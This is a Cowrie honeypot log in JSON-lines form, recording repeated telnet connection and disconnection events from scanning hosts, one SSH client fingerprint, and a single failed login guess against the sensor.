{"eventid":"cowrie.session.closed","duration":31.184840440750122,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:23.571862Z","src_ip":"162.55.233.176","session":"6b9e45374977","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.87203574180603,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:23.716352Z","src_ip":"162.55.233.176","session":"b7df8c570cd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":32824,"dst_ip":"159.203.135.109","dst_port":23,"session":"449054bc8e52","protocol":"telnet","message":"New connection: 162.55.233.176:32824 (159.203.135.109:23) [session: 449054bc8e52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:23.751926Z"}
{"eventid":"cowrie.session.closed","duration":35.756157875061035,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:23.766291Z","src_ip":"162.55.233.176","session":"0fd9380490aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":32836,"dst_ip":"159.203.135.109","dst_port":23,"session":"3dc1b609ab52","protocol":"telnet","message":"New connection: 162.55.233.176:32836 (159.203.135.109:23) [session: 3dc1b609ab52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:23.856280Z"}
{"eventid":"cowrie.session.closed","duration":31.049123287200928,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:23.863634Z","src_ip":"162.55.233.176","session":"89517bccda1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":32850,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7897b63cb4d","protocol":"telnet","message":"New connection: 162.55.233.176:32850 (159.203.135.109:23) [session: d7897b63cb4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:23.906689Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":32860,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3100bd69747","protocol":"telnet","message":"New connection: 162.55.233.176:32860 (159.203.135.109:23) [session: c3100bd69747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:24.005130Z"}
{"eventid":"cowrie.session.closed","duration":36.49521613121033,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:24.207568Z","src_ip":"162.55.233.176","session":"40fbe1e3bae9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.94530916213989,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:24.474830Z","src_ip":"162.55.233.176","session":"18b73479dc8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":32872,"dst_ip":"159.203.135.109","dst_port":23,"session":"695503fcd5f3","protocol":"telnet","message":"New connection: 162.55.233.176:32872 (159.203.135.109:23) [session: 695503fcd5f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:24.509020Z"}
{"eventid":"cowrie.session.closed","duration":37.40734124183655,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:24.657360Z","src_ip":"162.55.233.176","session":"7f7d20da1840","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":32884,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d10013200eb","protocol":"telnet","message":"New connection: 162.55.233.176:32884 (159.203.135.109:23) [session: 5d10013200eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:24.730956Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":32892,"dst_ip":"159.203.135.109","dst_port":23,"session":"fceba5781a59","protocol":"telnet","message":"New connection: 162.55.233.176:32892 (159.203.135.109:23) [session: fceba5781a59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:24.850172Z"}
{"eventid":"cowrie.session.closed","duration":37.31574320793152,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:24.954268Z","src_ip":"162.55.233.176","session":"c45a71887650","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":32894,"dst_ip":"159.203.135.109","dst_port":23,"session":"a474e63255dd","protocol":"telnet","message":"New connection: 162.55.233.176:32894 (159.203.135.109:23) [session: a474e63255dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:25.389484Z"}
{"eventid":"cowrie.session.closed","duration":36.24977421760559,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:25.868781Z","src_ip":"162.55.233.176","session":"5f40ce3a7de7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.570384740829468,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:26.254596Z","src_ip":"162.55.233.176","session":"27617b51a543","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.203338146209717,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:26.348585Z","src_ip":"162.55.233.176","session":"34e30b140330","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":32906,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b2547ebc03d","protocol":"telnet","message":"New connection: 162.55.233.176:32906 (159.203.135.109:23) [session: 9b2547ebc03d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:26.402772Z"}
{"eventid":"cowrie.session.closed","duration":38.55292320251465,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:26.413878Z","src_ip":"162.55.233.176","session":"da42e45988d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":32922,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ebaf3a8eb1e","protocol":"telnet","message":"New connection: 162.55.233.176:32922 (159.203.135.109:23) [session: 2ebaf3a8eb1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:26.552681Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":32924,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffabdfcc75dc","protocol":"telnet","message":"New connection: 162.55.233.176:32924 (159.203.135.109:23) [session: ffabdfcc75dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:26.729256Z"}
{"eventid":"cowrie.session.closed","duration":36.35141563415527,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:26.734534Z","src_ip":"162.55.233.176","session":"b65249534261","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":32936,"dst_ip":"159.203.135.109","dst_port":23,"session":"a61f6a052ac9","protocol":"telnet","message":"New connection: 162.55.233.176:32936 (159.203.135.109:23) [session: a61f6a052ac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:26.904455Z"}
{"eventid":"cowrie.session.closed","duration":31.285113096237183,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:26.943626Z","src_ip":"162.55.233.176","session":"b5275fa87808","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":32942,"dst_ip":"159.203.135.109","dst_port":23,"session":"54877f201427","protocol":"telnet","message":"New connection: 162.55.233.176:32942 (159.203.135.109:23) [session: 54877f201427]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:26.980761Z"}
{"eventid":"cowrie.session.closed","duration":31.2556631565094,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:27.016810Z","src_ip":"162.55.233.176","session":"6fc04b57623a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":32954,"dst_ip":"159.203.135.109","dst_port":23,"session":"ecc30e86a4ec","protocol":"telnet","message":"New connection: 162.55.233.176:32954 (159.203.135.109:23) [session: ecc30e86a4ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:27.564213Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":32966,"dst_ip":"159.203.135.109","dst_port":23,"session":"c90e5aeb0150","protocol":"telnet","message":"New connection: 162.55.233.176:32966 (159.203.135.109:23) [session: c90e5aeb0150]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:27.626838Z"}
{"eventid":"cowrie.session.closed","duration":30.966850519180298,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:27.828659Z","src_ip":"162.55.233.176","session":"980325dcd0e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":32970,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1e0a71575d4","protocol":"telnet","message":"New connection: 162.55.233.176:32970 (159.203.135.109:23) [session: d1e0a71575d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:27.833156Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":32972,"dst_ip":"159.203.135.109","dst_port":23,"session":"da93f2be2e80","protocol":"telnet","message":"New connection: 162.55.233.176:32972 (159.203.135.109:23) [session: da93f2be2e80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:27.990779Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":32978,"dst_ip":"159.203.135.109","dst_port":23,"session":"629679da9f31","protocol":"telnet","message":"New connection: 162.55.233.176:32978 (159.203.135.109:23) [session: 629679da9f31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:28.303051Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":32980,"dst_ip":"159.203.135.109","dst_port":23,"session":"10440123f937","protocol":"telnet","message":"New connection: 162.55.233.176:32980 (159.203.135.109:23) [session: 10440123f937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:28.339999Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.137.11.14","src_port":37261,"dst_ip":"10.17.0.5","dst_port":22,"session":"edbe2f81ed2c","protocol":"ssh","message":"New connection: 38.137.11.14:37261 (10.17.0.5:22) [session: edbe2f81ed2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:28.483629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:28.488922Z","src_ip":"38.137.11.14","session":"edbe2f81ed2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.67601442337036,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:28.494206Z","src_ip":"162.55.233.176","session":"788692196d99","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:28.721461Z","src_ip":"38.137.11.14","session":"edbe2f81ed2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":32996,"dst_ip":"159.203.135.109","dst_port":23,"session":"de51f1ba5551","protocol":"telnet","message":"New connection: 162.55.233.176:32996 (159.203.135.109:23) [session: de51f1ba5551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:29.147641Z"}
{"eventid":"cowrie.session.closed","duration":34.5437912940979,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:29.407635Z","src_ip":"162.55.233.176","session":"7432d4ce1852","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33004,"dst_ip":"159.203.135.109","dst_port":23,"session":"38077ab24cce","protocol":"telnet","message":"New connection: 162.55.233.176:33004 (159.203.135.109:23) [session: 38077ab24cce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:29.505541Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"user123!@#","message":"login attempt [user/user123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:29.682486Z","src_ip":"38.137.11.14","session":"edbe2f81ed2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.07196927070618,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:29.711014Z","src_ip":"162.55.233.176","session":"559255656cf8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.70871424674988,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:29.809527Z","src_ip":"162.55.233.176","session":"a74a2c3a1052","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00107264518738,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:29.834083Z","src_ip":"138.255.230.135","session":"7c85856f5528","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33000,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed2cb0e9798f","protocol":"telnet","message":"New connection: 162.55.233.176:33000 (159.203.135.109:23) [session: ed2cb0e9798f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:30.445020Z"}
{"eventid":"cowrie.session.closed","duration":35.16946268081665,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:30.507089Z","src_ip":"162.55.233.176","session":"9efde154c301","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.39202380180359,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:30.630937Z","src_ip":"162.55.233.176","session":"efa71c2f9b80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:30.917908Z","src_ip":"38.137.11.14","session":"edbe2f81ed2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.880438566207886,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:30.987173Z","src_ip":"162.55.233.176","session":"a3f52bceaad1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33020,"dst_ip":"159.203.135.109","dst_port":23,"session":"d274ac4fe417","protocol":"telnet","message":"New connection: 162.55.233.176:33020 (159.203.135.109:23) [session: d274ac4fe417]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:31.042017Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33026,"dst_ip":"159.203.135.109","dst_port":23,"session":"611aa97dad01","protocol":"telnet","message":"New connection: 162.55.233.176:33026 (159.203.135.109:23) [session: 611aa97dad01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:31.495895Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33032,"dst_ip":"159.203.135.109","dst_port":23,"session":"a29592bcc694","protocol":"telnet","message":"New connection: 162.55.233.176:33032 (159.203.135.109:23) [session: a29592bcc694]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:31.607792Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33042,"dst_ip":"159.203.135.109","dst_port":23,"session":"46e86dca638a","protocol":"telnet","message":"New connection: 162.55.233.176:33042 (159.203.135.109:23) [session: 46e86dca638a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:31.620931Z"}
{"eventid":"cowrie.session.closed","duration":30.393371105194092,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:32.160078Z","src_ip":"162.55.233.176","session":"c6b0096b6c75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33048,"dst_ip":"159.203.135.109","dst_port":23,"session":"0229345d29fa","protocol":"telnet","message":"New connection: 162.55.233.176:33048 (159.203.135.109:23) [session: 0229345d29fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:32.531487Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.255.230.135","src_port":42299,"dst_ip":"159.203.135.109","dst_port":23,"session":"85ba47b092f5","protocol":"telnet","message":"New connection: 138.255.230.135:42299 (159.203.135.109:23) [session: 85ba47b092f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:32.583765Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33050,"dst_ip":"159.203.135.109","dst_port":23,"session":"505e6e7fb8ca","protocol":"telnet","message":"New connection: 162.55.233.176:33050 (159.203.135.109:23) [session: 505e6e7fb8ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:32.896050Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33046,"dst_ip":"159.203.135.109","dst_port":23,"session":"216d43ca78be","protocol":"telnet","message":"New connection: 162.55.233.176:33046 (159.203.135.109:23) [session: 216d43ca78be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:32.943925Z"}
{"eventid":"cowrie.session.closed","duration":120.00172758102417,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:32.964661Z","src_ip":"138.255.230.135","session":"41d06034c83d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.90850520133972,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:32.977828Z","src_ip":"162.55.233.176","session":"24d1f1314d11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.333874940872192,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:33.050950Z","src_ip":"162.55.233.176","session":"45fada421acf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.14033389091492,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:33.447000Z","src_ip":"188.208.141.113","session":"0f45207262b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.672356367111206,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:33.573280Z","src_ip":"162.55.233.176","session":"9e3a3b3b861d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33308,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4ed33524f59","protocol":"telnet","message":"New connection: 188.208.141.113:33308 (10.17.0.5:23) [session: a4ed33524f59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:33.820731Z"}
{"eventid":"cowrie.session.closed","duration":32.89863634109497,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:33.948632Z","src_ip":"162.55.233.176","session":"15d6e4d4f599","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40140,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3d4e85ebd10","protocol":"telnet","message":"New connection: 162.55.233.176:40140 (159.203.135.109:23) [session: b3d4e85ebd10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:33.978687Z"}
{"eventid":"cowrie.session.closed","duration":31.51738667488098,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:34.057093Z","src_ip":"162.55.233.176","session":"128186c8b3e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40152,"dst_ip":"159.203.135.109","dst_port":23,"session":"1be4b9da4961","protocol":"telnet","message":"New connection: 162.55.233.176:40152 (159.203.135.109:23) [session: 1be4b9da4961]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:34.334322Z"}
{"eventid":"cowrie.session.closed","duration":34.32768368721008,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:34.503023Z","src_ip":"162.55.233.176","session":"9d70516c6585","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40160,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd99e39f8ae1","protocol":"telnet","message":"New connection: 162.55.233.176:40160 (159.203.135.109:23) [session: fd99e39f8ae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:34.692266Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40164,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b2342d2643d","protocol":"telnet","message":"New connection: 162.55.233.176:40164 (159.203.135.109:23) [session: 4b2342d2643d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:34.975966Z"}
{"eventid":"cowrie.session.closed","duration":47.07085561752319,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:35.236337Z","src_ip":"162.55.233.176","session":"6b6fbe00aafc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40170,"dst_ip":"159.203.135.109","dst_port":23,"session":"51790100de7a","protocol":"telnet","message":"New connection: 162.55.233.176:40170 (159.203.135.109:23) [session: 51790100de7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:35.341020Z"}
{"eventid":"cowrie.session.closed","duration":44.40484404563904,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:35.434088Z","src_ip":"188.208.141.113","session":"9c62a0ba99be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.255.230.135","src_port":41558,"dst_ip":"159.203.135.109","dst_port":23,"session":"782a9b87c682","protocol":"telnet","message":"New connection: 138.255.230.135:41558 (159.203.135.109:23) [session: 782a9b87c682]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:35.521423Z"}
{"eventid":"cowrie.session.closed","duration":30.79298424720764,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:35.728582Z","src_ip":"162.55.233.176","session":"033efea875f6","protocol":"telnet"}
